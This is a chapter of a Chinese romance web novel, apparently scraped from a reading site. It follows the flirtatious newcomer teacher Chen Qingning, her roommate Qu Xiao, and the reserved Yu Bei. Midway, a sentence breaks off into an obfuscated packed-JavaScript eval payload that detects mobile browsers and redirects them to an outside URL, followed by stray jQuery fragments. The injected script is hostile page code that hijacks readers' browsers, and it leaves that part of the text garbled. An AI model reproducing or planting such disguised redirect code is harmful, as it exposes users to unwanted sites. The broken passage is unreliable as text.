默认冷灰
24号文字
方正启体

4. 第四粒星

作者:七宝酥本书字数:K更新时间:
    陈青柠一直觉得自己有点圣母玛利亚的天赋。


    她懂爱,会爱,更值得被爱。帅哥在哪里,爱就在哪里。无论何时何地,她都普度众生,迷人又有戏。


    新的剧场,怎么可以只有她一个人。


    所以,当八音盒打开,她必须拉个舞伴上来,郁北就是最优选。


    进屋她就扫描了郁北房间的每一处,最先盯上的是墙角那张不锈钢置物架,共三层,摆放着泡面、用于充饥的小面包和瓶装水,一半饮用水,一半能量饮料。


    它们全都码得整整齐齐,非常有序。


    郁北循着她目光望去,不吭声,走过去,叠着两包方便面回来,递给她:“回去吃。”


    陈青柠垂眸,最返璞归真的口味,康师傅红烧牛肉面。


    她不接,看向他:“为什么不让我在这吃?”


    郁北回:“味道大。”


    陈青柠反咬道:“你一个人吃味道就不大了?”


    郁北:“那也只有我一个人闻到。”


    陈青柠:“两个人一起闻又怎么了?”


    郁北说:“你回去也是两个人。”


    陈青柠噎住:“回去还要烧水。”


    郁北说:“洗衣房旁边有开水间。”


    陈青柠耍起无赖:“我不认识。”


    郁北偏眼:“我房门认识吗?”


    陈青柠跟着侧过去,门框外是黑咕隆咚的走道,感应灯已灭。


    郁北:“回去。”


    陈青柠唇瓣微张,半晌无言。下一刻,她夺走他手里的泡面,气哄哄地出了门。


    —


    “他好坏啊!”把筷子扎在汤碗里,陈青柠声泪俱下——又咂舌陶醉:“也好dom啊。”


    筷子和泡面碗的原主,瞿宵不解:“dom是什么?”


    陈青柠右脚踩在椅子上,不急回答。一长阵响亮的吸溜声过后,她说:“就是被他赶出来很爽很带劲。”


    瞿宵:“……”


    她还是没搞明白什么dom不dom,但陈青柠绝对是抖M。


    一鼓作气把泡面解决,陈青柠对着汤碗发愁。


    郁北怎么不买盒装泡面,害她还要干多余苦工。她抱腿赖坐了会,刷抖音,磨指甲,余光捉到瞿宵洗澡出来,才拖无可拖地起身,去开水间。


    她给妈妈打视频。


    这边离宿舍远,wifi信号不佳,老妈慈和的面孔也忽隐忽现。


    陈青柠烦了,换5G网,重新打回去。


    “陈裕恩呢?”她拎出死亡名单第一人。


    沈敏华笑眯眯地看她:“出去吃饭了,还没回来呢。”


    陈青柠噘嘴:“他倒是吃香喝辣,留我在这儿坐牢。我还要自己洗碗!”


    沈敏华说:“你在国外不自己洗碗吗?”


    陈青柠说:“都是我的男仆洗。”


    沈敏华心知都是哪些个倒霉催的小伙子,依旧眉目弯弯,关心她周遭环境:“你在哪儿呢,怎么这么暗?”


    “辛者库。”


    沈敏华扑哧一乐,安慰道:“安啦,回头妈妈找人给你带些吃的过去。”


    陈青柠早有预料,摇头晃脑:“我早就准备好了,家里还有两个大箱子,在我房间,我让沈璨明天带给我。”


    “啊?”妈妈似愣神了:“那是你的东西?”


    “对啊。”


    沈敏华回想:“璨璨下午是来家里了,他没说是你行李啊,只说是你回国带给他的东西。”


    陈青柠尽在掌控:“我交代他这么说的,怕被你们扣了。”


    沈敏华顿住,哎唷一声:“还真被你爸截胡了。”


    “啊?”


    陈青柠挂掉电话,三步并作两步回房,给表哥打语音,质问他其余行李在哪。


    沈璨语气无奈:“给你爸了,你爸一猜就猜出是给你偷运物资。”


    陈青柠控诉:“你怎么不跟我说!”


    沈璨嘟嚷:“姑父让我保密,他说亲自送过去,给你个惊喜。”


    “他才不会!”


    “他说得很认真啊。”


    “你打游戏打傻了吧,他诈你呢,”陈青柠哭音:“我肯定拿不到东西了。”


    “别把姑父想太坏,”沈璨也没底气起来。饶是有愧,听筒里的键盘声半点没停:“你再等等看呢,嗯?”


    陈青柠就知道,不该把事情交给不靠谱的表哥去办,但她没辙,高三转到国际学校后,她就跟公立旧友疏远了。等录上LIM,她彻彻底底崇洋媚外,只交国际化友人,社交大换血的后遗症出现,退学后再回国,陈青柠落得个“东不成西不就”,能指望得上的只有沈璨这个猪队友。


    她和沈璨从小堪比魔童降世,狼狈为奸起来更是无人不闻风丧胆,家里头没少操心。


    “你跟谁吵架呢?”瞿宵没洗头,特意戴浴帽,保留陈青柠卷的发型。


    她很少做造型,所以想珍惜地多留两天。


    陈青柠把自己平摊到床上,身心俱疲:“我哥。”


    瞿宵说:“你还有哥呢?”


    “表的。”男表一个。


    陈青柠欲哭无泪,把手机抓到眼前,几点了?


    “都十点了!?”


    瞿宵应:“是啊。”


    新室友回来这几个钟头,看似没离开过桌子,但一直跟花栗鼠似的左摸摸,右嗅嗅,要么叽哩哇啦没头没尾地跟她搭话,持续在小范围内忙碌,很是充实。


    “我还有好多事没做呢。”陈青柠差点从枕头上跳起。


    瞿宵满不在意:“先洗澡吧,洗完澡睡呗。”


    陈青柠没有搭腔,之后一小时,她不是频繁打开衣柜,就是开各种盒子袋子,哐当哐当,稀里哗啦,又给带来的所有鞋排队,摸下巴一一对比,最后才抱上睡衣沐浴。


    复核教案的瞿宵打了个喷嚏。


    她揉揉鼻头,戴回镜架,是陈青柠点了香薰蜡烛,白色瓶身依稀可见“Diptyque”标志,味道蛮香甜好闻,但闷在里面久了,也有点呛鼻,就像陈青柠本人。


    —


    瞿宵不知道自己是怎么睡过去的,陈青柠太能聊了,话题在她身上像弹性极强的扯面,没有断的极限。


    梦回本科开学,寝室里四人刚见面,彼此都新鲜,有说不完的话。


    而陈青柠一个顶三。


    最后瞿宵像喝多一样,全靠本能死撑和应答,直到昏睡过去彻底得到解放。


    不知做梦还是起夜,瞿宵记不大清了,反正深更半夜,陈青柠的座位仍荧荧有光,女生白绒绒地坐那,瞿宵迷糊问话:“你在干嘛?”


    她神采奕奕地看回来:“我还在看明天搭什么美甲。”


    如真亦幻地看眼时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524137|203407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,03:26,瞿宵觉得自己疯了,栽回床上。


    闹铃一响,瞿宵准时准点起床,看眼隔壁,人又没了——哦,还在床上。


    瘦人便是如此么?瞿宵挤牙膏,再望一眼风平浪静的被子,她这样睡不会呼吸困难么?


    收拾好教学材料,床上的细人一动不动,瞿宵依稀记得她跟郁北有约,考虑要不要去叫醒她。


    比决策来得更快的是陈青柠的闹铃。


    瞿宵歪了头,有些耳熟,好像是某个韩国女团的歌。


    歌唱了两遍,陈青柠只是拱个身,略微侧翻,从床上显形。


    不过,昨天她和郁北闹得不愉快,今天鸽掉对方也算正常反应吧。瞿宵分析完毕,轻手轻脚开关门,独自下楼。


    撞见楼道口的郁老师时,瞿宵下意识看了眼手机,还不到七点半。


    “早,郁老师。”她照常打招呼。


    郁北开门见山:“早,陈青柠呢?”


    瞿宵跟郁北不熟,去年被招到白河,他就已经在这儿了,初见只觉得他比常人都高,头发五官利落,走近会给人压迫感,神色又写满不容侵犯。如果说新室友是热衷把门砸烂的人,那郁老师绝对有着高门槛。


    “呃,”瞿宵不确定要不要如实汇报,最后她折中答:“我走的时候她闹铃在响,这会儿应该在洗漱了吧。”


    “好,谢了。”他客气地说。


    “不用。”瞿宵火速离开,又两次回头,暗自祈祷:拜托,陈青柠,你最好真的在刷牙了。


    —


    运动手表上显示七点三十五时,郁北给陈青柠打语音。万幸,那边接很快,他问:“你人呢?”


    “卷头发呢。”


    吐字含糊不清,分明叼着牙刷。


    “还有多久?”结果比他想象中要好,郁北不拆穿:“我要去教室了。”


    “噢唷,”那边霎时轻浮起来:“郁哥哥好让人捉摸不透哦,昨晚才赶我,今早又在等我。”


    郁北不顺她路数,平静地交代:“守时一点,陈老师。”


    “哦!”她甜滋滋地应,大概悄然吐掉泡沫,声线干净许多,竟顺势跟他攀谈起来:“郁老师,你今天喂过八段锦和金刚经了吗?”


    郁北毫不犹豫:“挂了。”


    郁北最多再等十分钟,倘若陈青柠还恣意妄为,那就由着她去。应下林校的嘱托后,他就厘清思路,他对自己、对所有人要求不高,半年期限一到,送走这尊大佛,大家安然无恙,生活照常进行。


    再者,她未必能待那么久。


    女生浓妆艳抹盛装登场时,郁北很难把视线从她身上掠离。不是惊艳,是荒谬到夺目。她的造型比昨日初见还要大胆,仿佛要去的地方是夜店。


    陈青柠特意套上了网袜。


    这不单单是吸引,是战斗。昨天郁北对她的美腿不屑一顾,今天就让它们存在感翻倍。


    她声势浩大到郁北都有些无奈,他看向她勾着的巨大黑色手提袋,鼓鼓囊囊,里面像装满有毒的药剂瓶。


    察觉到郁北的目光在转移,陈青柠双手奉上手提袋。妆容在她脸上像私人定制的假面,可一笑又很清澈无害:


    “怎么了?郁哥哥,是想帮我拎包吗?”


    郁北不由攥紧手指,这一刻,他推翻自己的初步断言。


    陈青柠绝不只是女巫,是核爆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)